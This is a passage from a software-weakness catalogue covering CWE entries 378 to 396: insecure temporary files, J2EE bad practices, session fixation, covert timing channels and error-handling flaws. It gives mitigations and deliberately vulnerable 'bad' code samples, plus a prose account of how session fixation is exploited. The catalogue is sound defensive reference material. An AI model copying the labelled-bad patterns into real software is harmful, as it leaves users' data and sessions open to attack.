would not be difficult to mount given the small amount of randomness used in the selection of the filenames generated by these functions. - Group 2: "Unique" Files: The second group of C Library functions attempts to resolve some of the security problems related to temporary files by not only generating a unique file name, but also opening the file. This group includes C Library functions like tmpfile() and its C++ equivalents prefaced with an _ (underscore), as well as the slightly better-behaved C Library function mkstemp(). The tmpfile() style functions construct a unique filename and open it in the same way that fopen() would if passed the flags "wb+", that is, as a binary file in read/write mode. If the file already exists, tmpfile() will truncate it to size zero, possibly in an attempt to assuage the security concerns mentioned earlier regarding the race condition that exists between the selection of a supposedly unique filename and the subsequent opening of the selected file. However, this behavior clearly does not solve the function's security problems. First, an attacker can pre-create the file with relaxed access-permissions that will likely be retained by the file opened by tmpfile(). Furthermore, on Unix based systems if the attacker pre-creates the file as a link to another important file, the application may use its possibly elevated permissions to truncate that file, thereby doing damage on behalf of the attacker. Finally, if tmpfile() does create a new file, the access permissions applied to that file will vary from one operating system to another, which can leave application data vulnerable even if an attacker is unable to predict the filename to be used in advance. Finally, mkstemp() is a reasonably safe way create temporary files. It will attempt to create and open a unique file based on a filename template provided by the user combined with a series of randomly generated characters. If it is unable to create such a file, it will fail and return -1. On modern systems the file is opened using mode 0600, which means the file will be secure from tampering unless the user explicitly changes its access permissions. However, mkstemp() still suffers from the use of predictable file names and can leave an application vulnerable to denial of service attacks if an attacker causes mkstemp() to fail by predicting and pre-creating the filenames to be used.

CWE-378: Creation of Temporary File With Insecure Permissions

Weakness ID : 378 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

Opening temporary files without appropriate measures or controls can leave the file, its contents and any function that it impacts vulnerable to attack.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	G	377	Insecure Temporary File	829

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1219	File Handling Issues	2017

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Likelihood Of Exploit

High

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data *If the temporary file can be read by the attacker, sensitive information may be in that file which could be revealed.*	
Authorization Other	Other *If that file can be written to by the attacker, the file might be moved into a place to which the attacker does not have access. This will allow the attacker to gain selective resource access-control privileges.*	
Integrity Other	Other *Depending on the data stored in the temporary file, there is the potential for an attacker to gain an additional input vector which is trusted as non-malicious. It may be possible to make arbitrary changes to data structures, user information, or even process ownership.*	

Potential Mitigations

Phase: Requirements

Many contemporary languages have functions which properly handle this condition. Older C temp file functions are especially susceptible.

Phase: Implementation

Ensure that you use proper file permissions. This can be achieved by using a safe temp file function. Temporary files should be writable and readable only by the process that owns the file.

Phase: Implementation

Randomize temporary file names. This can also be achieved by using a safe temp-file function. This will ensure that temporary files will not be created in predictable places.

Demonstrative Examples

Example 1:

In the following code examples a temporary file is created and written to and after using the temporary file the file is closed and deleted from the file system.

Example Language: C *(bad)*

```
FILE *stream;
if( (stream = tmpfile()) == NULL ) {
    perror("Could not open new temporary file\n");
    return (-1);
}
// write data to tmp file
...
// remove tmp file
rmtmp();
```

However, within this C/C++ code the method tmpfile() is used to create and open the temp file. The tmpfile() method works the same way as the fopen() method would with read/write permission, allowing attackers to read potentially sensitive information contained in the temp file or modify the contents of the file.

Example Language: Java *(bad)*

```
try {
    File temp = File.createTempFile("pattern", ".suffix");
    temp.deleteOnExit();
    BufferedWriter out = new BufferedWriter(new FileWriter(temp));
    out.write("aString");
    out.close();
}
catch (IOException e) {
}
```

Similarly, the createTempFile() method used in the Java code creates a temp file that may be readable and writable to all users.

Additionally both methods used above place the file into a default directory. On UNIX systems the default directory is usually "/tmp" or "/var/tmp" and on Windows systems the default directory is usually "C:\\Windows\\Temp", which may be easily accessible to attackers, possibly enabling them to read and modify the contents of the temp file.

CWE-379: Creation of Temporary File in Directory with Insecure Permissions

Weakness ID : 379 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The software creates a temporary file in a directory whose permissions allow unintended actors to determine the file's existence or otherwise access that file.

Extended Description

On some operating systems, the fact that the temporary file exists may be apparent to any user with sufficient privileges to access that directory. Since the file is visible, the application that is using the temporary file could be known. If one has access to list the processes on the system, the attacker has gained information about what the user is doing at that time. By correlating this with the applications the user is running, an attacker could potentially discover what a user's actions are. From this, higher levels of security could be breached.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1219	File Handling Issues	2017

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Likelihood Of Exploit

Low

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data *Since the file is visible and the application which is using the temp file could be known, the attacker has gained information about what the user is doing at that time.*	

Potential Mitigations

Phase: Requirements

Many contemporary languages have functions which properly handle this condition. Older C temp file functions are especially susceptible.

Phase: Implementation

Try to store sensitive tempfiles in a directory which is not world readable -- i.e., per-user directories.

Phase: Implementation

Avoid using vulnerable temp file functions.

Demonstrative Examples

Example 1:

In the following code examples a temporary file is created and written to and after using the temporary file the file is closed and deleted from the file system.

Example Language: C *(bad)*

```
FILE *stream;
if( (stream = tmpfile()) == NULL ) {
    perror("Could not open new temporary file\n");
    return (-1);
}
// write data to tmp file
...
// remove tmp file
rmtmp();
```

However, within this C/C++ code the method tmpfile() is used to create and open the temp file. The tmpfile() method works the same way as the fopen() method would with read/write permission, allowing attackers to read potentially sensitive information contained in the temp file or modify the contents of the file.

Example Language: Java *(bad)*

```
try {
    File temp = File.createTempFile("pattern", ".suffix");
    temp.deleteOnExit();
    BufferedWriter out = new BufferedWriter(new FileWriter(temp));
    out.write("aString");
    out.close();
}
catch (IOException e) {
}
```

Similarly, the createTempFile() method used in the Java code creates a temp file that may be readable and writable to all users.

Additionally both methods used above place the file into a default directory. On UNIX systems the default directory is usually "/tmp" or "/var/tmp" and on Windows systems the default directory is usually "C:\\Windows\\Temp", which may be easily accessible to attackers, possibly enabling them to read and modify the contents of the temp file.

CWE-382: J2EE Bad Practices: Use of System.exit()

Weakness ID : 382 **Status:** Draft
Structure : Simple
Abstraction : Variant

Description

A J2EE application uses System.exit(), which also shuts down its container.

Extended Description

It is never a good idea for a web application to attempt to shut down the application container. Access to a function that can shut down the application is an avenue for Denial of Service (DoS) attacks.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	705	Incorrect Control Flow Scoping	1359

Applicable Platforms

Language : Java *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Crash, Exit, or Restart	

Potential Mitigations

Phase: Architecture and Design

Strategy = Separation of Privilege

The shutdown function should be a privileged function available only to a properly authorized administrative user

Phase: Implementation

Web applications should not call methods that cause the virtual machine to exit, such as System.exit()

Phase: Implementation

Web applications should also not throw any Throwables to the application server as this may adversely affect the container.

Phase: Implementation

Non-web applications may have a main() method that contains a System.exit(), but generally should not call System.exit() from other locations in the code

Demonstrative Examples

Example 1:

Included in the doPost() method defined below is a call to System.exit() in the event of a specific exception.

Example Language: Java *(bad)*

```
Public void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
    try {
        ...
    } catch (ApplicationSpecificException ase) {
        logger.error("Caught: " + ase.toString());
        System.exit(1);
    }
}
```

CWE-383: J2EE Bad Practices: Direct Use of Threads

Weakness ID : 383 **Status:** Draft

Structure : Simple
Abstraction : Variant

Description

Thread management in a Web application is forbidden in some circumstances and is always highly error prone.

Extended Description

Thread management in a web application is forbidden by the J2EE standard in some circumstances and is always highly error prone. Managing threads is difficult and is likely to interfere in unpredictable ways with the behavior of the application container. Even without interfering with the container, thread management usually leads to bugs that are hard to detect and diagnose like deadlock, race conditions, and other synchronization errors.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	695	Use of Low-Level Functionality	1347

Applicable Platforms

Language : Java *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Other	Quality Degradation	

Potential Mitigations

Phase: Architecture and Design

For EJB, use framework approaches for parallel execution, instead of using threads.

Demonstrative Examples

Example 1:

In the following example, a new Thread object is created and invoked directly from within the body of a doGet() method in a Java servlet.

Example Language: Java *(bad)*

```
public void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
    // Perform servlet tasks.
    ...
    // Create a new thread to handle background processing.
    Runnable r = new Runnable() {
        public void run() {
            // Process and store request statistics.
            ...
        }
    };
    new Thread(r).start();
}
```

Affected Resources

- System Process

CWE-384: Session Fixation

Weakness ID : 384 **Status:** Incomplete
Structure : Composite
Abstraction : Compound

Description

Authenticating a user, or otherwise establishing a new user session, without invalidating any existing session identifier gives an attacker the opportunity to steal authenticated sessions.

Composite Components

Nature	Type	ID	Name	Page
Requires	B	346	Origin Validation Error	760
Requires	B	472	External Control of Assumed-Immutable Web Parameter	1001
Requires	C	441	Unintended Proxy or Intermediary ('Confused Deputy')	950

Extended Description

Such a scenario is commonly observed when:

1. A web application authenticates a user without first invalidating the existing session, thereby continuing to use the session already associated with the user.
2. An attacker is able to force a known session identifier on a user so that, once the user authenticates, the attacker has access to the authenticated session.
3. The application or container uses predictable session identifiers. In the generic exploit of session fixation vulnerabilities, an attacker creates a new session on a web application and records the associated session identifier. The attacker then causes the victim to associate, and possibly authenticate, against the server using that session identifier, giving the attacker access to the user's account through the active session.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to

similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1018	Manage User Sessions	1972

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Access Control	Gain Privileges or Assume Identity	

Potential Mitigations

Phase: Architecture and Design

Invalidate any existing session identifiers prior to authorizing a new user session.

Phase: Architecture and Design

For platforms such as ASP that do not generate new values for sessionid cookies, utilize a secondary cookie. In this approach, set a secondary cookie on the user's browser to a random value and set a session variable to the same value. If the session variable and the cookie value ever don't match, invalidate the session, and force the user to log on again.

Demonstrative Examples

Example 1:

The following example shows a snippet of code from a J2EE web application where the application authenticates users with LoginContext.login() without first calling HttpSession.invalidate().

Example Language: Java *(bad)*

```
private void auth(LoginContext lc, HttpSession session) throws LoginException {
    ...
    lc.login();
    ...
}
```

In order to exploit the code above, an attacker could first create a session (perhaps by logging into the application) from a public terminal, record the session identifier assigned by the application, and reset the browser to the login page. Next, a victim sits down at the same public terminal, notices the browser open to the login page of the site, and enters credentials to authenticate against the application. The code responsible for authenticating the victim continues to use the pre-existing session identifier, now the attacker simply uses the session identifier recorded earlier to access the victim's active session, providing nearly unrestricted access to the victim's account for the lifetime of the session. Even given a vulnerable application, the success of the specific attack described

here is dependent on several factors working in the favor of the attacker: access to an unmonitored public terminal, the ability to keep the compromised session active and a victim interested in logging into the vulnerable application on the public terminal.

In most circumstances, the first two challenges are surmountable given a sufficient investment of time. Finding a victim who is both using a public terminal and interested in logging into the vulnerable application is possible as well, so long as the site is reasonably popular. The less well known the site is, the lower the odds of an interested victim using the public terminal and the lower the chance of success for the attack vector described above. The biggest challenge an attacker faces in exploiting session fixation vulnerabilities is inducing victims to authenticate against the vulnerable application using a session identifier known to the attacker.

In the example above, the attacker did this through a direct method that is not subtle and does not scale suitably for attacks involving less well-known web sites. However, do not be lulled into complacency; attackers have many tools in their belts that help bypass the limitations of this attack vector. The most common technique employed by attackers involves taking advantage of cross-site scripting or HTTP response splitting vulnerabilities in the target site [12]. By tricking the victim into submitting a malicious request to a vulnerable application that reflects JavaScript or other code back to the victim's browser, an attacker can create a cookie that will cause the victim to reuse a session identifier controlled by the attacker. It is worth noting that cookies are often tied to the top level domain associated with a given URL. If multiple applications reside on the same top level domain, such as bank.example.com and recipes.example.com, a vulnerability in one application can allow an attacker to set a cookie with a fixed session identifier that will be used in all interactions with any application on the domain example.com [29].

Example 2:

The following example shows a snippet of code from a J2EE web application where the application authenticates users with a direct post to the <code>j_security_check</code>, which typically does not invalidate the existing session before processing the login request.

Example Language: HTML *(bad)*

```
<form method="POST" action="j_security_check">
    <input type="text" name="j_username">
    <input type="text" name="j_password">
</form>
```

MemberOf	C	1028	OWASP Top Ten 2017 Category A2 - Broken Authentication	1026	1975

Notes

Other

Other attack vectors include DNS poisoning and related network based attacks where an attacker causes the user to visit a malicious site by redirecting a request for a valid site. Network based attacks typically involve a physical presence on the victim's network or control of a compromised machine on the network, which makes them harder to exploit remotely, but their

significance should not be overlooked. Less secure session management mechanisms, such as the default implementation in Apache Tomcat, allow session identifiers normally expected in a cookie to be specified on the URL as well, which enables an attacker to cause a victim to use a fixed session identifier simply by emailing a malicious URL.

CWE-385: Covert Timing Channel

Weakness ID : 385 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

Covert timing channels convey information by modulating some aspect of system behavior over time, so that the program receiving the information can observe system behavior and infer protected information.

Extended Description

In some instances, knowing when data is transmitted between parties can provide a malicious user with privileged information. Also, externally monitoring the timing of operations can potentially reveal sensitive data. For example, a cryptographic operation can expose its internal state if the time it takes to perform the operation varies, based on the state.

Covert channels are frequently classified as either storage or timing channels. Some examples of covert timing channels are the system's paging rate, the time a certain transaction requires to execute, and the time it takes to gain access to a shared bus.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to

similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	514	Covert Channel	1086
CanFollow	B	208	Observable Timing Discrepancy	488

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	417	Communication Channel Errors	1865

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Likelihood Of Exploit

Medium

Common Consequences

Scope	Impact	Likelihood
Confidentiality Other	Read Application Data Other *Information exposure.*	

Potential Mitigations

Phase: Architecture and Design

Whenever possible, specify implementation strategies that do not introduce time variances in operations.

Phase: Implementation

Often one can artificially manipulate the time which operations take or -- when operations occur -- can remove information from the attacker.

Phase: Implementation

It is reasonable to add artificial or random delays so that the amount of CPU time consumed is independent of the action being taken by the application.

Demonstrative Examples

Example 1:

In this example, the attacker observes how long an authentication takes when the user types in the correct password.

When the attacker tries their own values, they can first try strings of various length. When they find a string of the right length, the computation will take a bit longer, because the for loop will run at least once. Additionally, with this code, the attacker can possibly learn one character of the password at a time, because when they guess the first character right, the computation will take longer than a wrong guesses. Such an attack can break even the most sophisticated password with a few hundred guesses.

Example Language: Python *(bad)*

```
def validate_password(actual_pw, typed_pw):
    if len(actual_pw) <> len(typed_pw):
        return 0
    for i in len(actual_pw):
        if actual_pw[i] <> typed_pw[i]:
            return 0
```

```
return 1
```

Note that, in this example, the actual password must be handled in constant time, as far as the attacker is concerned, even if the actual password is of an unusual length. This is one reason why it is good to use an algorithm that, among other things, stores a seeded cryptographic one-way hash of the password, then compare the hashes, which will always be of the same length.

CWE-390: Detection of Error Condition Without Action

Weakness ID : 390 **Status:** Draft
Structure : Simple

Abstraction : Base

Description

The software detects a specific error, but takes no actions to handle the error.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	389	Error Conditions, Return Values, Status Codes	1863

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Likelihood Of Exploit

Medium

Common Consequences

Scope	Impact	Likelihood
Integrity Other	Varies by Context Unexpected State Alter Execution Logic *An attacker could utilize an ignored error condition to place the system in an unexpected state that could lead to the execution of unintended logic and could cause other unintended behavior.*	

Potential Mitigations

Phase: Implementation

Properly handle each exception. This is the recommended solution. Ensure that all exceptions are handled in such a way that you can be sure of the state of your system at any given moment.

Phase: Implementation

If a function returns an error, it is important to either fix the problem and try again, alert the user that an error has happened and let the program continue, or alert the user and close and cleanup the program.

Phase: Testing

Subject the software to extensive testing to discover some of the possible instances of where/how errors or return values are not handled. Consider testing techniques such as ad hoc, equivalence partitioning, robustness and fault tolerance, mutation, and fuzzing.

Demonstrative Examples

Example 1:

The following example attempts to allocate memory for a character. After the call to malloc, an if statement is used to check whether the malloc function failed.

Example Language: C *(bad)*

```
foo=malloc(sizeof(char)); //the next line checks to see if malloc failed
if (foo==NULL) {
    //We do nothing so we just ignore the error.
}
```

The conditional successfully detects a NULL return value from malloc indicating a failure, however it does not do anything to handle the problem. Unhandled errors may have unexpected results and may cause the program to crash or terminate.

Instead, the if block should contain statements that either attempt to fix the problem or notify the user that an error has occurred and continue processing or perform some cleanup and gracefully terminate the program. The following example notifies the user that the malloc function did not allocate the required memory resources and returns an error code.

Example Language: C *(good)*

```
foo=malloc(sizeof(char)); //the next line checks to see if malloc failed
if (foo==NULL) {
    printf("Malloc failed to allocate memory resources");
    return -1;
}
```

Example 2:

In the following C++ example the method readFile() will read the file whose name is provided in the input parameter and will return the contents of the file in char string. The method calls open() and read() may result in errors if the file does not exist or does not contain any data to read. These errors will be thrown when the is_open() method and good() method indicate errors opening or reading the file. However, these errors are not handled within the catch statement. Catch statements that do not perform any processing will have unexpected results. In this case an empty char string will be returned, and the file will not be properly closed.

Example Language: C++ *(bad)*

```
char* readfile (char *filename) {
    try {
        // open input file
        ifstream infile;
        infile.open(filename);
        if (!infile.is_open()) {
            throw "Unable to open file " + filename;
        }
        // get length of file
        infile.seekg (0, ios::end);
        int length = infile.tellg();
        infile.seekg (0, ios::beg);
        // allocate memory
        char *buffer = new char [length];
        // read data from file
        infile.read (buffer,length);
        if (!infile.good()) {
            throw "Unable to read from file " + filename;
        }
        infile.close();
        return buffer;
    }
```

```
    catch (...) {
        /* bug: insert code to handle this later */
    }
}
```

The catch statement should contain statements that either attempt to fix the problem or notify the user that an error has occurred and continue processing or perform some cleanup and gracefully terminate the program. The following C++ example contains two catch statements. The first of these will catch a specific error thrown within the try block, and the second catch statement will catch all other errors from within the catch block. Both catch statements will notify the user that an error has occurred, close the file, and rethrow to the block that called the readFile() method for further handling or possible termination of the program.

Example Language: C++ *(good)*

```
char* readFile (char *filename) {
    try {
        // open input file
        ifstream infile;
        infile.open(filename);
        if (!infile.is_open()) {
            throw "Unable to open file " + filename;
        }
        // get length of file
        infile.seekg (0, ios::end);
        int length = infile.tellg();
        infile.seekg (0, ios::beg);
        // allocate memory
        char *buffer = new char [length];
        // read data from file
        infile.read (buffer,length);
        if (!infile.good()) {
            throw "Unable to read from file " + filename;
        }
        infile.close();
        return buffer;
    }
    catch (char *str) {
        printf("Error: %s \n", str);
        infile.close();
        throw str;
    }
    catch (...) {
        printf("Error occurred trying to read from file \n");
        infile.close();
        throw;
    }
}
```

Example 3:

In the following Java example the method readFile will read the file whose name is provided in the input parameter and will return the contents of the file in a String object. The constructor of the FileReader object and the read method call may throw exceptions and therefore must be within a try/catch block. While the catch statement in this example will catch thrown exceptions in order for the method to compile, no processing is performed to handle the thrown exceptions. Catch statements that do not perform any processing will have unexpected results. In this case, this will result in the return of a null String.

Example Language: Java *(bad)*

```
public String readFile(String filename) {
    String retString = null;
    try {
```

```
        // initialize File and FileReader objects
        File file = new File(filename);
        FileReader fr = new FileReader(file);
        // initialize character buffer
        long fLen = file.length();
        char[] cBuf = new char[(int) fLen];
        // read data from file
        int iRead = fr.read(cBuf, 0, (int) fLen);
        // close file
        fr.close();
        retString = new String(cBuf);
    } catch (Exception ex) {
        /* do nothing, but catch so it'll compile... */
    }
    return retString;
}
```

The catch statement should contain statements that either attempt to fix the problem, notify the user that an exception has been raised and continue processing, or perform some cleanup and gracefully terminate the program. The following Java example contains three catch statements. The first of these will catch the FileNotFoundException that may be thrown by the FileReader constructor called within the try/catch block. The second catch statement will catch the IOException that may be thrown by the read method called within the try/catch block. The third catch statement will catch all other exceptions thrown within the try block. For all catch statements the user is notified that the exception has been thrown and the exception is rethrown to the block that called the readFile() method for further processing or possible termination of the program. Note that with Java it is usually good practice to use the getMessage() method of the exception class to provide more information to the user about the exception raised.

Example Language: Java *(good)*

```
public String readFile(String filename) throws FileNotFoundException, IOException, Exception {
    String retString = null;
    try {
        // initialize File and FileReader objects
        File file = new File(filename);
        FileReader fr = new FileReader(file);
        // initialize character buffer
        long fLen = file.length();
        char [] cBuf = new char[(int) fLen];
        // read data from file
        int iRead = fr.read(cBuf, 0, (int) fLen);
        // close file
        fr.close();
        retString = new String(cBuf);
    } catch (FileNotFoundException ex) {
        System.err.println ("Error: FileNotFoundException opening the input file: " + filename );
        System.err.println ("" + ex.getMessage() );
        throw new FileNotFoundException(ex.getMessage());
    } catch (IOException ex) {
        System.err.println("Error: IOException reading the input file.\n" + ex.getMessage() );
        throw new IOException(ex);
    } catch (Exception ex) {
        System.err.println("Error: Exception reading the input file.\n" + ex.getMessage() );
        throw new Exception(ex);
    }
    return retString;
}
```

CWE-391: Unchecked Error Condition

Weakness ID : 391 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

[PLANNED FOR DEPRECATION. SEE MAINTENANCE NOTES.] Ignoring exceptions and other error conditions may allow an attacker to induce unexpected behavior unnoticed.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Likelihood Of Exploit

Medium

Common Consequences

Scope	Impact	Likelihood
Integrity Other	Varies by Context Unexpected State Alter Execution Logic	

Potential Mitigations

Phase: Requirements

The choice between a language which has named or unnamed exceptions needs to be done. While unnamed exceptions exacerbate the chance of not properly dealing with an exception, named exceptions suffer from the up call version of the weak base class problem.

Phase: Requirements

A language can be used which requires, at compile time, to catch all serious exceptions. However, one must make sure to use the most current version of the API as new exceptions could be added.

Phase: Implementation

Catch all relevant exceptions. This is the recommended solution. Ensure that all exceptions are handled in such a way that you can be sure of the state of your system at any given moment.

Demonstrative Examples

Example 1:

The following code excerpt ignores a rarely-thrown exception from doExchange().

Example Language: Java *(bad)*

```
try {
    doExchange();
}
catch (RareException e) {
    // this can never happen
}
```

If a RareException were to ever be thrown, the program would continue to execute as though nothing unusual had occurred. The program records no evidence indicating the special situation, potentially frustrating any later attempt to explain the program's behavior.

Notes

Maintenance

This entry is slated for deprecation; it has multiple widespread interpretations by CWE analysts. It currently combines information from three different taxonomies, but each taxonomy is talking about a slightly different issue. CWE analysts might map to this entry based on any of these issues. 7PK has "Empty Catch Block" which has an association with empty exception block (CWE-1069); in this case, the exception has performed the check, but does not handle. In PLOVER there is "Unchecked Return Value" which is CWE-252, but unlike "Empty Catch Block" there isn't even a check of the issue - and "Unchecked Error Condition" implies lack of a check. For CLASP, "Uncaught Exception" (CWE-248) is associated with incorrect error propagation - uncovered in CWE 3.2 and earlier, at least. There are other issues related to error handling and checks.

Other

When a programmer ignores an exception, they implicitly state that they are operating under one of two assumptions: This method call can never fail. It doesn't matter if this call fails.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name

Primary :

Resultant :

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Integrity	Varies by Context	
Other	Unexpected State *Errors that are not properly reported could place the system in an unexpected state that could lead to unintended behaviors.*	

Demonstrative Examples

Example 1:

In the following snippet from a doPost() servlet method, the server returns "200 OK" (default) even if an error occurs.

Example Language: Java *(bad)*

```
try {
    // Something that may throw an exception.
    ...
} catch (Throwable t) {
    logger.error("Caught: " + t.toString());
    return;
```

```
}
```

Observed Examples

Reference	Description
CVE-2004-0063	Function returns "OK" even if another function returns a different status code than expected, leading to accepting an invalid PIN number. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0063*
CVE-2002-1446	Error checking routine in PKCS#11 library returns "OK" status even when invalid signature is detected, allowing spoofed messages. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1446*
CVE-2002-0499	Kernel function truncates long pathnames without generating an error, leading to operation on wrong directory. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0499*
CVE-2005-2459	Function returns non-error value when a particular erroneous condition is encountered, leading to resultant NULL dereference. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2459*

The CERT Oracle Secure Coding Standard for Java (2011)	TPS03-J		Ensure that tasks executing in a thread pool do not fail silently
Software Fault Patterns	SFP6		Incorrect Exception Behavior

CWE-393: Return of Wrong Status Code

Weakness ID : 393 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

A function or operation returns an incorrect return value or status code that does not indicate an error, but causes the product to modify its behavior based on the incorrect result.

Extended Description

This can lead to unpredictable behavior. If the function is used to make security-critical decisions or provide security-critical information, then the wrong status code can cause the software to assume that an action is safe, even when it is not.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	703	Improper Check or Handling of Exceptional Conditions	1355
ChildOf		684	Incorrect Provision of Specified Functionality	1332

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	389	Error Conditions, Return Values, Status Codes	1863

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Integrity Other	Unexpected State Alter Execution Logic *This weakness could place the system in a state that could lead unexpected logic to be executed or other unintended behaviors.*	

Demonstrative Examples

Example 1:

In the following example, an HTTP 404 status code is returned in the event of an IOException encountered in a Java servlet. A 404 code is typically meant to indicate a non-existent resource and would be somewhat misleading in this case.

Example Language: Java *(bad)*

```
try {
    // something that might throw IOException
    ...
} catch (IOException ioe) {
    response.sendError(SC_NOT_FOUND);
}
```

Observed Examples

Reference	Description
CVE-2003-1132	DNS server returns wrong response code for non-existent AAAA record, which effectively says that the domain is inaccessible. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1132*

CWE-395: Use of NullPointerException Catch to Detect NULL Pointer Dereference

Weakness ID : 395 **Status:** Draft
Structure : Simple

Abstraction : Base

Description

Catching NullPointerException should not be used as an alternative to programmatic checks to prevent dereferencing a null pointer.

Extended Description

Programmers typically catch NullPointerException under three circumstances:

- The program contains a null pointer dereference. Catching the resulting exception was easier than fixing the underlying problem.
- The program explicitly throws a NullPointerException to signal an error condition.
- The code is part of a test harness that supplies unexpected input to the classes under test.

Of these three circumstances, only the last is acceptable.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Architecture or Design Review

According to SOAR, the following detection techniques may be useful: Highly cost effective: Formal Methods / Correct-By-Construction Cost effective for partial coverage: Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Effectiveness = High

Potential Mitigations

Phase: Architecture and Design

Phase: Implementation

Do not extensively rely on catching exceptions (especially for validating user input) to handle errors. Handling exceptions can decrease the performance of an application.

Demonstrative Examples

Example 1:

The following code mistakenly catches a NullPointerException.

Example Language: Java *(bad)*

```
try {
    mysteryMethod();
} catch (NullPointerException npe) {
}
```

CWE-396: Declaration of Catch for Generic Exception

Weakness ID : 396 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

Catching overly broad exceptions promotes complex error handling code that is more likely to contain security vulnerabilities.

Extended Description

Multiple catch blocks can get ugly and repetitive, but "condensing" catch blocks by catching a high-level class like Exception can obscure exceptions that deserve special treatment or that should not be caught at this point in the program. Catching an overly broad exception essentially defeats the purpose of Java's typed exceptions, and can become particularly dangerous if the program grows and begins to throw new types of exceptions. The new exception types will not receive any attention.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	221	Information Loss or Omission	511
